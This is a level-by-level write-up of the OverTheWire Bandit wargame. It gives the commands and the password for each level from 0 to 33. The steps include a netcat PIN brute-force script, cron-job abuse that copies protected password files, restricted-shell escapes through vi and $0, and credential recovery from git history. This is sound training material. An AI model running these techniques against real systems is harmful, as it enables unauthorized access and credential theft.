Bandit

Write-up.

General

The general concept is that in level x you will find the password for level x + 1. We will connect to the hosts using ssh.

An ssh connection can be established using ssh username@host from the command line if the default port is 22, else another port can be specified using the -p flag.

When a password has been found for the next level, the procedure is to terminate the current ssh connection using the exit command and connect to the next level with the new username, e.g., bandit7, and the password which has just been found.

Level 0

SSH into the host with the username and password being bandit0

ssh [email protected] -p 2220

Level 0 -> Level 1

Doing a ls after the connection is established will reveal a readme file. Get the content of that file using e.g., cat readme and the password for level 1 should be achieved being boJ9jbbUNNfktd78OOpsqOltutMc3MY1.

Level 1 -> Level 2

After connecting to level 1, doing a ls will reveal something named -. In order to point to a file named as such, one must refer to the full path.

Doing file ./- will return ./-: ASCII text, hence we can get the content using cat ./- which gives us the password CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9.

Level 2 -> Level 3

After connecting to level 2, ls will return something called spaces in this filename, and if we utilize auto-completion using the TAB button, the spaces will be escaped with \ automatically.

bandit2@bandit:~$ file spaces\ in\ this\ filename
spaces in this filename: ASCII text

As per above we can just cat spaces\ in\ this\ filename, which returns UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK for level 3.

Level 3 -> Level 4

After connecting to level 3, ls will return a folder called inhere. Enter the folder by cd inhere.

Doing a ls inside that folder seems to do nothing, hence a ls -a might be a good idea to show hidden files as well. This reveals a file named .hidden.

From here we can just cat .hidden to get the password for level 4, pIwrPrtPN36QITSp3EQaw936yaFoFgAB.

Level 4 -> Level 5

After connecting to level 4, ls will again return a folder called inhere. This folder seems to contain multiple files with the names -file00, -file01, ..., -file09. To narrow it down, we can try and use the file command on all files, which can be done using an *. As the files start with an -, we must remember to point to the full location.

bandit4@bandit:~/inhere$ file ./*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data

cat ./-file07 gives us the password for level 5, koReBOKuIDDepwhWk7jZC0RTdopnAYKh.

Level 5 -> Level 6

We know the following about the file

  • human-readable

  • 1033 bytes in size

  • a non-binary

We are again presented to a folder named inhere. Within that folder, there are multiple folders, maybehere00, maybehere01,..., maybehere19.

Utilizing the find command, the correct file is found rather easily

bandit5@bandit:~/inhere$ find . -size 1033c
./maybehere07/.file2

The c indicates the unit, which in this case is for bytes. Another example could have been k for kilobytes.

cat maybehere07/.file2 reveals the password for level 6, DXjZPULLxYr17uwoI01bNLQbtFemEgo7.

Level 6 -> Level 7

We know the following about the file

  • it is somewhere on the server

  • owned by user bandit7

  • owned by group bandit6

  • 33 bytes in size

It is necessary to call find / ..., as we don't know exactly where to look on the server, hence we start at the root of the machine.

bandit6@bandit:~$ find / -user bandit7 -group bandit6 -size 33c 
find: ‘/root’: Permission denied
find: ‘/home/bandit28-git’: Permission denied
find: ‘/home/bandit30-git’: Permission denied
...
...
...
find: ‘/var/tmp’: Permission denied
find: ‘/var/lib/apt/lists/partial’: Permission denied
find: ‘/var/lib/polkit-1’: Permission denied
/var/lib/dpkg/info/bandit7.password
find: ‘/var/log’: Permission denied
find: ‘/var/cache/apt/archives/partial’: Permission denied

The information given is used to find the appropriate file. In between all the clutter we see /var/lib/dpkg/info/bandit7.password, which contains the password for level 7, HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs.

Level 7 -> Level 8

We know the password is next to the word millionth in the file data.txt, hence grep will do the trick.

bandit7@bandit:~$ grep millionth data.txt 
millionth	cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Leaving us with the password for level 8, cvX2JJa4CFALtqS87jk27qwqGhBM9plV.

Level 8 -> Level 9

We know the password is the only line that occurs once in the file data.txt. The approach here is to first sort the file and then find unique lines.

bandit8@bandit:~$ sort data.txt | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Revealing the password for level 9, UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR.

Level 9 -> Level 10

We know the password is stored in the file data.txt in one of the few human-readable strings, preceded by several = characters.

strings will find and print human-readable strings in a file, and as data.txt is a binary, we cannot rely 100% on grep.

bandit9@bandit:~$ strings data.txt | grep ==
========== the*2i"4
========== password
Z)========== is
&========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

There we have the password for level 10, truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk.

Level 10 -> Level 11

We know the password is stored in the file data.txt which contains base64 encoded data. Decoding the data must then reveal the password

bandit10@bandit:~$ base64 -d data.txt 
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Revealing the password for level 11, IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR.

Level 11 -> Level 12

We know all lowercase a-z and uppercase A-Z have been rotated 13 positions, hence this smells like ROT13. This means that an a becomes a n, b becomes an o and so on. The pattern can be specified as arguments to tr which will then do the translation. However tr needs some input text, hence the cat data.txt being piped into it.

bandit11@bandit:~$ cat data.txt | tr 'a-zA-Z' 'n-za-mN-ZA-M'
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

And the password for level 12 is found, 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu.

Level 12 -> Level 13

We know the password is stored in the file data.txt. We also know the file is a hexdump of a file that has been repeatedly compressed. I created a folder at /tmp/bob to work within as suggested.

cat data.txt prints a hexdump and file data.txt just tells us that it contains ASCII text.

First, convert the hexdump back to its binary form by xxd -r data.txt > data_reversed.

Then find out which type of file data_reversed is.

bandit12@bandit:/tmp/bob$ file data_reversed 
data_reversed: gzip compressed data, was "data2.bin", last modified: Thu May  7 18:14:30 2020, max compression, from Unix

As gunzip requires the correct file extension, data_reversed must be renamed to data_reversed.gz, before it can be unzipped.

bandit12@bandit:/tmp/bob$ mv data_reversed data_reversed.gz
bandit12@bandit:/tmp/bob$ gunzip data_reversed.gz
bandit12@bandit:/tmp/bob$ ls
data_reversed  data.txt

We are now left with data_reversed which we will need to find out which type of file that is.

bandit12@bandit:/tmp/bob$ file data_reversed 
data_reversed: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/bob$ bunzip2 data_reversed
bunzip2: Can't guess original name for data_reversed -- using data_reversed.out

bunzip2 does not require any file extension, hence it can be unzipped straight away. This leaves us with data_reversed.out, which we then need to find the type for.

bandit12@bandit:/tmp/bob$ file data_reversed.out 
data_reversed.out: gzip compressed data, was "data4.bin", last modified: Thu May  7 18:14:30 2020, max compression, from Unix
bandit12@bandit:/tmp/bob$ mv data_reversed.out data_reversed.gz
bandit12@bandit:/tmp/bob$ gunzip data_reversed.gz 
bandit12@bandit:/tmp/bob$ ls
data_reversed  data.txt

As it is a gzip file, the extension must be corrected as mentioned per above, before unzipping is possible. We are now left with a new data_reversed file, which we again need to find the type for.

bandit12@bandit:/tmp/bob$ file data_reversed 
data_reversed: POSIX tar archive (GNU)
bandit12@bandit:/tmp/bob$ mv data_reversed data_reversed.tar
bandit12@bandit:/tmp/bob$ tar -xvf data_reversed.tar 
data5.bin

A tar archive can be decompressed using the -xvf flag. x for extract, v for verbose and f for file. We now have what seems to be a binary, data5.bin, which we need to explore further.

bandit12@bandit:/tmp/bob$ file data5.bin 
data5.bin: POSIX tar archive (GNU)
bandit12@bandit:/tmp/bob$ tar -xvf data5.bin 
data6.bin

Apparently it is just another tar archive, hence we repeat what we just did and look into the new data6.bin.

bandit12@bandit:/tmp/bob$ file data6.bin 
data6.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/bob$ bunzip2 data6.bin
bunzip2: Can't guess original name for data6.bin -- using data6.bin.out

This time we still did not have a binary, but a bzip2 compressed file. Decompressed using bunzip2, which gives a data6.bin.out to investigate.

bandit12@bandit:/tmp/bob$ file data6.bin.out 
data6.bin.out: POSIX tar archive (GNU)
bandit12@bandit:/tmp/bob$ tar -xvf data6.bin.out 
data8.bin

Another tar archive, hence the same procedure as previously. data8.bin is up next.

bandit12@bandit:/tmp/bob$ file data8.bin 
data8.bin: gzip compressed data, was "data9.bin", last modified: Thu May  7 18:14:30 2020, max compression, from Unix
bandit12@bandit:/tmp/bob$ mv data8.bin data8.gz
bandit12@bandit:/tmp/bob$ gunzip data8.gz
bandit12@bandit:/tmp/bob$ file data8
data8: ASCII text
bandit12@bandit:/tmp/bob$ cat data8
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

And there we have it, the password for lvl 13, 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL.

See the full history below.

bandit12@bandit:/tmp/bob$ file data_reversed 
data_reversed: gzip compressed data, was "data2.bin", last modified: Thu May  7 18:14:30 2020, max compression, from Unix
bandit12@bandit:/tmp/bob$ mv data_reversed data_reversed.gz
bandit12@bandit:/tmp/bob$ gunzip data_reversed.gz
bandit12@bandit:/tmp/bob$ ls
data_reversed  data.txt
bandit12@bandit:/tmp/bob$ file data_reversed 
data_reversed: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/bob$ bunzip2 data_reversed
bunzip2: Can't guess original name for data_reversed -- using data_reversed.out
bandit12@bandit:/tmp/bob$ file data_reversed.out 
data_reversed.out: gzip compressed data, was "data4.bin", last modified: Thu May  7 18:14:30 2020, max compression, from Unix
bandit12@bandit:/tmp/bob$ mv data_reversed.out data_reversed.gz
bandit12@bandit:/tmp/bob$ gunzip data_reversed.gz 
bandit12@bandit:/tmp/bob$ ls
data_reversed  data.txt
bandit12@bandit:/tmp/bob$ file data_reversed 
data_reversed: POSIX tar archive (GNU)
bandit12@bandit:/tmp/bob$ mv data_reversed data_reversed.tar
bandit12@bandit:/tmp/bob$ tar -xvf data_reversed.tar 
data5.bin
bandit12@bandit:/tmp/bob$ file data5.bin 
data5.bin: POSIX tar archive (GNU)
bandit12@bandit:/tmp/bob$ tar -xvf data5.bin 
data6.bin
bandit12@bandit:/tmp/bob$ file data6.bin 
data6.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/bob$ bunzip2 data6.bin
bunzip2: Can't guess original name for data6.bin -- using data6.bin.out
bandit12@bandit:/tmp/bob$ file data6.bin.out 
data6.bin.out: POSIX tar archive (GNU)
bandit12@bandit:/tmp/bob$ tar -xvf data6.bin.out 
data8.bin
bandit12@bandit:/tmp/bob$ file data8.bin 
data8.bin: gzip compressed data, was "data9.bin", last modified: Thu May  7 18:14:30 2020, max compression, from Unix
bandit12@bandit:/tmp/bob$ mv data8.bin data8.gz
bandit12@bandit:/tmp/bob$ gunzip data8.gz
bandit12@bandit:/tmp/bob$ file data8
data8: ASCII text
bandit12@bandit:/tmp/bob$ cat data8
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Level 13 -> Level 14

We know the password is stored in /etc/bandit_pass/bandit14 and this file is only readable by user bandit14. We are also provided with a private SSH key, that can be used to login to the next level.

bandit13@bandit:~$ ls
sshkey.private

We must specify this private key when trying to login to bandit14@localhost.

ssh -i sshkey.private bandit14@localhost

From here it is just to read the file given in the initial description

bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

Hence the password for level 14 must be 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e.

Level 14 -> Level 15

We have been informed that the password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.

I used netcat for this as follows

bandit14@bandit:~$ netcat localhost 30000
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

And there we have the password for level 15, BfMYroe26WYalil77FoDi9qh59eK5xNr.

Level 15 -> Level 16

We know the password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption, hence the use of openssl s_client here.

We can echo a string into openssl like so

echo BfMYroe26WYalil77FoDi9qh59eK5xNr | openssl s_client -connect localhost:30001 -ign_eof

The flag -ign_eof will inhibit shutting down the connection when end of input is reached, in other words; it will allow server to send something in return.

The password for lvl 16 is returned, cluFn7wTiGryunymYOu4RcffSxQluehd.

Level 16 -> Level 17

We know the credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. We are then told to find out which of these ports have a server listening on them. Then find out which of those speak SSL. Only 1 of the servers will give the correct response.

To find open ports in the provided range,

bandit16@bandit:~$ nmap -p 31000-32000 localhost

Starting Nmap 7.40 ( https://nmap.org ) at 2021-09-16 22:41 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00025s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown

Now we must focus on these 5 ports. We can try to scan for services and versions using the -sV tag and providing only these ports as the ones to be scanned.

bandit16@bandit:~$ nmap -sV -p 31046,31518,31691,31790,31960 localhost 

Starting Nmap 7.40 ( https://nmap.org ) at 2021-09-16 22:45 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00042s latency).
PORT      STATE SERVICE     VERSION
31046/tcp open  echo
31518/tcp open  ssl/echo
31691/tcp open  echo
31790/tcp open  ssl/unknown
31960/tcp open  echo
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31790-TCP:V=7.40%T=SSL%I=7%D=9/16%Time=6143ACF8%P=x86_64-pc-linux-g
SF:nu%r(GenericLines,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20cu
SF:rrent\x20password\n")...
...
...

At first sight we can rule out 31046, 31691 and 31960. Looking more closely on line 13, something indicates the port we are looking for must be 31790, hence we try to send the password just as we did in the previous level.

This returns with a private SSH key, which we copy the contents of. Terminate the session and copy the private SSH key into a file, say ssh.private.

Trying to ssh -i ssh.private [email protected] -p 2220 yields the following error

This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'ssh.private' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "ssh.private": bad permissions

Okay, so what if we make the file only read-writable by us and no one else? This is done by chmod 600 filename.

If we then try ssh again, we succeed!

Level 17 -> Level 18

We see 2 files as we login, passwords.old and passwords.new. We are told the password for the next level is in passwords.new and is the only line that has been changed between the two files.

bandit17@bandit:~$ diff passwords.new passwords.old 
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
---
> w0Yfolrc5bwjS4qw5mq1nnQi6mF03bii

Lines starting with < comes from the first file and lines starting with > comes from the second file.

Since we know the password is in passwords.new, which is the first provided file, the password for the next level must be kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd.

Level 18 -> Level 19

We know the password for the next level is stored in ~/readme. But, we will be logged out instantly when trying to SSH our way in.

However, we can send a command along with the ssh request as follows

ssh [email protected] -p 2220 "cat readme"

Which will reveal the password for the next level, IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x.

Level 19 -> Level 20

We have been informed to find out how to use the setuid binary in the homefolder, and then to use it reading the password from etc/bandit_pass/bandit20.

./bandit20-do didn't give much, but ./bandit20-do --helpdid.

After reading through the manpage, the password for the next level was retrieved by

./bandit20-do env bandit19=bandit20 cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

The password for level 20 being GbKksEFF4yrVs6il55v6gwY5aVje5f0j.

Level 20 -> Level 21

We have been informed that the setuid binary, suconnect, does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

We are also given the hint to try connecting to your own network daemon to see if it works as we think.

I used tmux for this, in order to listen and thereby open a port in one window, such that suconnect is able to connect and read from it from another window.

We need to somehow echo the password for level 20, such that suconnect can read it and compare it.

We can do this as follows

echo GbKksEFF4yrVs6il55v6gwY5aVje5f0j | netcat -v -l -p 42420

The above will pipe the password for level 20 into the listener, which will listen on port 42420, such that when suconnect connects to port 42420, the line being read will be the password.

-v is for verbose mode, -l is for listen mode and -p specifies the port to listen on.

If we then do ./suconnect 42420 from another window, we should receive the password sent by suconnect in the window where the listener is running.

bandit20@bandit:~$ ./suconnect 42420                                                          
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

We see the echo from the first command made sure the password reached suconnect, and if we look in the window where the listener is running, we should now see the following

bandit20@bandit:~$ echo GbKksEFF4yrVs6il55v6gwY5aVje5f0j | netcat -v -l -p 42420               │        -G num                  source-routing pointer: 4, 8, 12, ...
listening on [any] 42420 ...                                                                   │        -h                      this cruft
connect to [127.0.0.1] from localhost [127.0.0.1] 42866                                        │        -i secs                 delay interval for lines sent, ports scanned
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

And there we have the password for the next level, gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr.

Level 21 -> Level 22

We have been given a hint regarding the folder /etc/cron.d/, for some configuration and see what command is being executed in regular intervals from cron.

At first, figure out what is inside this folder,

bandit21@bandit:~$ ls /etc/cron.d
cronjob_bandit15_root  cronjob_bandit22  cronjob_bandit24
cronjob_bandit17_root  cronjob_bandit23  cronjob_bandit25_root

The cronjob_bandit22 could be interesting.

bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

Okay. So cronjob_bandit22 appears to be a system wide crontab file given its syntax, opposite to the individual user crontab file. In system wide crontab files, the username must be specified, which in this case is bandit22. So 2 cronjobs are specified here, respectively on line 2 and 3.

@reboot will, as far as I know, run the following shell script every time the system boots. So at every boot, the shell script /usr/bin/cronjob_bandit22.sh will get executed.

At line 3 the * * * * * part specifies the interval for when to execute the same shell script as above.

A * means any value, and * * * * * basically means to execute the shell script at every minute.

  • First value specifies at which minute

  • Second value specifies at which hour

  • Third value specifies at which day with regards to the month

  • Fourth value specifies at which month

  • Fifth value specifies at which day with regards to the week

For further clarification, try have a look here https://crontab.guru/.

Anyway, let's see what this shell scripts does.

bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh 
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

So at first it executes chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv, which gives the owner read and write rights. The group and others will only have read rights. Apparently, we should be able to read the contents of this file.

bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

There we have the password for level 22, Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI.

Level 22 -> Level 23

A lot from the previous level will count for this level as well. In general most of this is the same, except we should now look into /etc/cron.d/cronjob_bandit23 instead.

bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null

Which leads us to /usr/bin/cronjob_bandit23.sh.

bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

Lets try the following,

bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

And the password for the next level is found, jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n.

Level 23 -> Level 24

We are given the hint to look into /etc/cron.d/ once again, where the file cronjob_bandit24 turns out to be relevant for this level.

bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

Hence, lets look into /usr/bin/cronjob_bandit24.sh which contains the following,

#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

So it will, as far as I'm aware, execute any script with the owner bandit23. However, we have to make this script executable for bandit24, and give write rights to bandit24 to some location, if we want to store the output.

As every script inside /var/spool/bandit24 will get removed, we will make a folder foo, such that we can work inside /var/spool/bandit24/foo.

With inspiration from the previous scripts, the following could be tempting

#!/bin/bash

cat /etc/bandit_pass/bandit24 > /var/spool/bandit24/foo/dump

For this to work, we have to make sure bandit24 can execute foo.sh and write to /var/spool/bandit24/foo/.

This is achieved by

bandit23@bandit:/var/spool/bandit24/foo$ chmod o+x foo.sh
bandit23@bandit:/var/spool/bandit24$ chmod o+w foo

This gives the class Others rights to execute foo.sh and to write into foo, as we need bandit24 to create the dump file for us.

Waiting a short period of time would make sure the script has been executed and voila.

bandit23@bandit:/var/spool/bandit24/foo$ ls
dump  foo.sh
bandit23@bandit:/var/spool/bandit24/foo$ cat dump
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

There we have the password for the next level, UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ.

Level 24 -> Level 25

We have been told that a daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. Moreover, the pincode must be bruteforced.

As we are not allowed to create files within /home/bandit24, I changed directory to the previously created /var/spool/bandit24/bob.

At first I just tried the following, in order to see if something was returned.

bandit24@bandit:~$ echo 0000 | netcat localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.

As the message says, we must provide the messages in a specific format.

Then I created the following bashscript, namely bruteforce.sh

#!/bin/bash

#I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
#Fail! You did not supply enough data. Try again.

password='UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'

for i in {0000..9999}
    do
        echo "${password} ${i}"
done

And then ./bruteforce.sh | netcat localhost 30002, which at some point yielded the password for the next level.

...
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Exiting.

The password for lvl 25 being uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG.

Level 25 -> Level 26 -> Level 27

We are told the shell for bandit26 is not /bin/bash, but something else. Shells different users can be seen in /etc/passwd:

bandit25@bandit:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
bandit24:x:11024:11024:bandit level 24:/home/bandit24:/bin/bash
bandit25:x:11025:11025:bandit level 25:/home/bandit25:/bin/bash
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit27:x:11027:11027:bandit level 27:/home/bandit27:/bin/bash
bandit28:x:11028:11028:bandit level 28:/home/bandit28:/bin/bash
...

We see the shell for bandit26is /usr/bin/showtext, which contains the following

#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

Moreover, we find a file bandit26.sshkey within /home/bandit25, which must be used in order to login to bandit26.

Logging in to bandit26 using the following (assumed bandit26.sshkey is saved locally), will just kick us back out.

ssh -i bandit26.sshkey [email protected] -p 2220

We know more is used, so lets minimize the terminal window, such that the whole content of ~/text.txt cannot be seen, and we have to page through it. From more we can open vi by pressing v, and from there we can get a shell.

In order to get a shell from vi, one must do the following:

Initiate vi-command-mode by pressing :, and from there:

:set shell=/bin/sh
:shell
$ ls
bandit27-do text.txt

We have a shell and can now get the password for level 27.

$ ./bandit27-do env bandit26=bandit27 cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea

Being 3ba3118a22e93127a4ed485be72ef5ea.

Level 27 -> Level 28

We are given the git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo. Moreover, we know the password for the user bandit27-git is the same as for the user bandit27.

I just created the folder /tmp/bob/ and cloned into this

git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
bandit27@bandit:/tmp/bob$ ls
repo
bandit27@bandit:/tmp/bob$ cd repo/
bandit27@bandit:/tmp/bob/repo$ ls
README
bandit27@bandit:/tmp/bob/repo$ cat README 
The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2

And there the password for the next level is, 0ef186ac70e04ea33b4c1853d2526fa2.

Level 28 -> Level 29

We are given the git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo. Moreover, we know the password for the user bandit28-git is the same as for the user bandit28.

I just created the folder /tmp/foo/ and cloned into this

git clone ssh://bandit28-git@localhost/home/bandit28-git/repo

We see a file README.md within repo with the following content

# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx

If we look into git log, we get the following

commit edd935d60906b33f0619605abd1689808ccdd5ee
Author: Morla Porla <[email protected]>
Date:   Thu May 7 20:14:49 2020 +0200

    fix info leak

commit c086d11a00c0648d095d04c089786efef5e01264
Author: Morla Porla <[email protected]>
Date:   Thu May 7 20:14:49 2020 +0200

    add missing data

commit de2ebe2d5fd1598cd547f4d56247e053be3fdc38
Author: Ben Dover <[email protected]>
Date:   Thu May 7 20:14:49 2020 +0200

    initial commit of README.md

Lets git checkout c086d11a00c0648d095d04c089786efef5e01264, just before an info leak was fixed and see what README.md contains then.

# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: bbc96594b4e001778eee9975372716b2

And there we have the password for level 29, bbc96594b4e001778eee9975372716b2.

Level 29 -> Level 30

We are given the git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo. Moreover, we know the password for the user bandit29-git is the same as for the user bandit29.

I just created the folder /tmp/bar/ and cloned into this

git clone ssh://bandit29-git@localhost/home/bandit29-git/repo

The README.md within repo contains the following

# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: <no passwords in production!>

So, lets check for other branches with git branch -a, giving us both local and remote branches.

bandit29@bandit:/tmp/bar/repo$ git branch -a
* master
  remotes/origin/HEAD -> origin/master
  remotes/origin/dev
  remotes/origin/master
  remotes/origin/sploits-dev

Okay. Let's start with git checkout remotes/origin/dev/, and look into README.md.

# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: 5b90576bedb2cc04c86a9e924ce

And there we have the password for the next level, 5b90576bedb2cc04c86a9e924ce42faf.

Level 30 -> Level 31

We are given the git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo. Moreover, we know the password for the user bandit30-git is the same as for the user bandit30.

I just created the directory /tmp/baz/ and cloned into this.

README.md just contains the string just an epmty file... muahaha, so no luck there.

There is no relevant branches to checkout and the log is pretty much empty.

git tag reveals something called secret. So lets try git show secret.

bandit30@bandit:/tmp/baz/repo$ git show secret
47e603bb428404d265f59c42920d81e5

This seems like the password to the next level, 47e603bb428404d265f59c42920d81e5.

Level 31 -> Level 32

We are given the git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo. Moreover, we know the password for the user bandit31-git is the same as for the user bandit31.

I just created the folder /tmp/baz/ and cloned into this.

repo has a README.md and a .gitignore file.

README.md contains the following

This time your task is to push a file to the remote repository.

Details:
    File name: key.txt
    Content: 'May I come in?'
    Branch: master

.gitignore contains the following

*.txt

Okay. So lets remove this .gitignore as it prevents us from completing the task.

Next, lets create the required file.

The procedure for pushing a file to the remote repository is:

  • git add . in order to add everything.

  • git commit -m "commit message" to commit changes.

  • git push to push changes to remote repository.

bandit31@bandit:/tmp/bat/repo$ git push
...
Counting objects: 3, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 283 bytes | 0 bytes/s, done.
Total 3 (delta 0), reused 0 (delta 0)
remote: ### Attempting to validate files... ####
remote: 
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote: 
remote: Well done! Here is the password for the next level:
remote: 56a9bf19c63d650ce78e6ec0354ee45e
remote: 
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
...

Which reveals the password for the next level, 56a9bf19c63d650ce78e6ec0354ee45e.

Level 32 -> Level 33

We are just told that after all this git stuff its time for another escape. Good luck!

After logging in, we are introduced to the UPPERCASE SHELL.

WELCOME TO THE UPPERCASE SHELL
>> ls
sh: 1: LS: not found

As we have an interactive shell, lets see if we can get the values of environment variables

>> $USER
sh: 1: bandit32: not found

It appears to be the case, hence we can invoke /bin/bash through $0.

>> $0
$ ls
uppershell

And now we have a shell, from where we can get our password

$ cat /etc/bandit_pass/bandit33
c9c3199ddf4121b10cf581a98d51caee

And there we have the password for level 33, c9c3199ddf4121b10cf581a98d51caee.

So far, there are no more levels, hence we are done with Bandit for now.

Last updated